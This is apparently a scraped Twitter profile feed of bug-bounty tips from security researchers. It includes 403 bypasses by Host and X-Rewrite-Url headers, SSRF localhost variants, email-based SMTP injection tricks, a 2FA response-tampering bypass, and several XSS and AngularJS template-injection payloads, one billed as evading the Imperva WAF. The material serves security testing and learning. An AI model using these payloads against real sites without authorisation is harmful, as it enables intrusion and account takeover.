TRIcKymAn_Vß @_tricky_man_vs

nothing toooo say......🤗 Joined September 2020

Tweets

80
Followers

12
Following

76
Likes

209

what_web @jae_hak99

4 years ago

Request GET /admin Host: test.com Response 403 Forbidden You can bypass 403 just by changing host domain to 127.0.0.1 Request GET /admin Host: 127.0.0.1 Response 200 OK #bugbounty #bugbountytip

3 51 191 0 34

Emad Shanab - أبو عبد الله @Alra3ees

4 years ago

Hakrawler Version 2 is out:- Much simpler Much faster Much more reliable Less bugs (hopefully none) Simple output for easier tool chaining Less features No banner No colours github.com/hakluke/hakraw…

1 34 109 0 19

Inti De Ceukelaire @securinti

4 years ago

@Jhaddix Yes, try stuff like jhaddix+(@gmail.com)@Company.com “jhaddix@gmail.com”@Company.com “<jhaddix@gmail.com>”@Company.com “jhaddix@gmail.com;”@Company.com “jhaddix@gmail.com+”@Company.com Sometimes you can also put new lines in the local part “ or () and then inject SMTP.

4 146 387 0 141

me_dheeraj @Dheerajmadhukar

4 years ago

*Simple list of bugs for testing* #bugbounty #bugbountytips #websecurity [+] Cache Poisoning [+] Cash Overflow [+] Clickjacking [+] Command injection attacks [+] Comment Injection Attack [+] Content Security Policy [+] Content Spoofing [+] Credential stuffing

6 216 603 0 179

Somdev Sangwan @s0md3v

5 years ago

A really comprehensive API security testing mind-map! Great work @dsopas <3 dsopas.github.io/MindAPI/play/

1 182 509 0 164

Download Image

Alessandro Rumampuk @Rando02355205

5 years ago

Without ">" (XSS) <svg onload='alert(1)' <svg onload="alert(1)" <svg onload=alert(1)// <svg onload=alert(1)+ <svg onload=alert(1)<!-- <opening_tag>PAYLOAD</closing_tag>

1 66 178 0 48

what_web @jae_hak99

5 years ago

X-Rewrite-Url Header is Can be used to bypass WordPress 403 pages. POST /xmlrpc HTTP/1.1 Host: target.com X-Rewrite-Url: xmlrpc.php X-Rewrite-Url: wp-json/v2/users X-Rewrite-Url: wp-login.php Happy Hacking ! #bugbounty #bugbountytip #bugbountytips

5 159 379 0 145

Damanpreet Singh🇮🇳🐐 @MrDamanSingh

5 years ago

Found ssrf? Try these for more impact: 1. To access localhost~ http://127.0.0.1:port http://localhost:port https://127.0.0.1:port https://localhost:port http://[::]:port http://0000::1:port http://[0:0:0:0:0:ffff:127.0.0.1] http://0/ http://127.1 http://127.0.1

2 171 417 0 129

Harsh Bothra @harshbothra_

5 years ago

In case if you missed my talk at @AhmOwasp. Here's the link to Slides, MindMap & Git Repo Slides: speakerdeck.com/harshbothra/go… MindMap: xmind.net/m/2FwJ7D GitHub Repo: github.com/harsh-bothra/l… #bugbountytips #appsec #infosec

0 30 69 0 21

Lütfü Mert Ceylan @lutfumertceylan

5 years ago

an AngularJS Client-Side Template Injection as XSS payload for 1.2.24-1.2.29, thanks to @garethheyes {{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} #bugbounty #bugbountytips #cybersecurity

2 128 367 0 73

Download Image

Ahsan Khan @hunter0x7

5 years ago

Selected a program; 1st attempt = 3.5k$ After few months 2nd attempt = 7.5k$ After few months (Bypassed the fixes + New feature bugs) 3rd attempt = 10k$ Come back with 🔥

13 28 585 0 11

Aditya Shende @ADITYASHENDE17

5 years ago

Testing for 2FA bypass ? Your response code : 302,400,403 etc Tamper it with 200 OK Add following context response {“success”:”true”} Or verified #kongsec

5 106 320 0 73

Pinaki ❄️ @0xInfection

5 years ago

A solid XSS payload that bypasses Imperva WAF 😄 <a/href="j%0A%0Davascript:{var{3:s,2:h,5:a,0:v,4:n,1:e}='earltv'}[self][0][v+a+e+s](e+s+v+h+n)(/infected/.source)" />click #infosec #bugbountytips

5 233 679 0 142

Ahsan Khan @hunter0x7

5 years ago

Secret keys finder github.com/momenbasel/key…

6 186 537 0 191

Kabeer Saxena 🇮🇳 @kab33rrr

5 years ago

Subdomain takeover and DNS zone transfer with simple oneliner tools. Full writeup: cysek.org/post/subdomain… Thanks for inspiring guys, One day I wanna be like you. @ofjaaah @ADITYASHENDE17 @NahamSec #bugbountytips #bugbounty #Pentesting